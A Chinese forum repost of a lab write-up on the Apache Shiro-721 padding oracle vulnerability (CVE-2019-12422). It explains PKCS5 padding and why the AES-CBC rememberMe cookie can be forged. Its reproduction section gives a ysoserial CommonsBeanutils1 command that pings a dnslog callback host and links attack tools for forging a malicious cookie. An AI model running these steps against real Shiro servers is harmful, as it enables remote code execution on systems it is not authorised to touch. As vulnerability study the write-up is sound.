Shiro-721—漏洞分析(CVE-2019-12422)

打印 上一主题 下一主题

主题 1043|帖子 1043|积分 3129

目录

本文基于shiro550漏洞基础上分析,建议先看上期内容:
https://blog.csdn.net/weixin_60521036/article/details/142373353
Padding Oracle Attack 原理

网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,以是我总结了一下Padding Oracle Attack 的攻击原理。
PKCS5添补

padding有很多种方式,shiro使用了PKCS5的添补方式:
如下图所示(找规律能找出来么?):

意思就是:
约定 :*表示任意数据,每个数据块为8字节。
当你数据为 ** ** ** ** ** ** ** ,7字节差一字节成一块,那么为了保持数据一块一块的,就必要添补一个数据,该数据根据PKCS5规则,因为差一个字节,以是添补01。
上图中接着添补 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ,还差俩字节,以是用02 02来添补,02数值是告诉你差多少字节,而添补的字节个数和数值是一样的。(是不是有点摸着门道了?)
解释到这规律应该能看出来了,不消再过多理解。
ps:增补,当你刚好8字节满了的时间,就给你别的开一个数据块添补:(如下所示)

** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08
怎么爆破攻击

首先我们必要知道怎么判断我们padding数据正确:
在验证 Padding 失败时的返复书息应该不同,其中 PKCS5Padding#unpad 方法对数据的添补格式进行判断,有问题会返回 -1;
当返回值小于0时,调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe。
其实这里只必要知道若攻击失败了就会返回deleteMe即可。。。​

这个padding攻击涉及的东西很多多少,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击。
漏洞原理

原理其实很简朴,shiro办理了密钥硬编码问题后,使用了AES-CBC加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不消找到密钥就能够直接修改rememberMe字段,而这里必要留意的细节就是:
必要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。
这也阐明了为啥一定要有正当通过认证的cookie才能进行攻击,因为你要走到让他padding的那一步必要正当的身份认证
不知各位道友搞懂了没,总之我的见解就是:
因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简朴的理解即可。

源码分析

偷个懒直接看我之前的文章shiro550 的源码分析即可
https://blog.csdn.net/weixin_60521036/article/details/142373353
721主要的解密过程没有变,只要你乐成padding进去了,就能走到反序列化那一步,个人感觉不消理解那么透彻,本身这个漏洞也挺鸡肋,必要登陆乐成的身份认证cookie才能攻击。
看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了。

漏洞复现

使用vulfocus靶场复现
话不多说,直接上最快捷的道具,背面再讲解别的一种抓包方式的攻击
下面这个工具在shiro550也能用,雀氏挺牛13的:
https://github.com/SummerSec/ShiroAttack2

接着直接爆破利用链即可

直接就能实行命令了

接着下面先容怎样通过已知cookie,生成payload,手动修改cookie进行攻击。

登录记得勾选Remember Me

抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了。


  • 首先使用Java反序列化工具 ysoserial 生成 Payload:
    java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" >  payload.class

  • 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
    https://github.com/inspiringz/Shiro-721  # 暴破AES密钥的脚本
    留意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成乐成后将主动制止运行。
    使用你刚刚用cookie生成的payload.class

  • 漫长等待后,拿到pad数据后直接丢到cookie上面

    接着看你本身的dnslog日志即可查看是否攻击乐成了 。
参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/193165

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

北冰洋以北

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表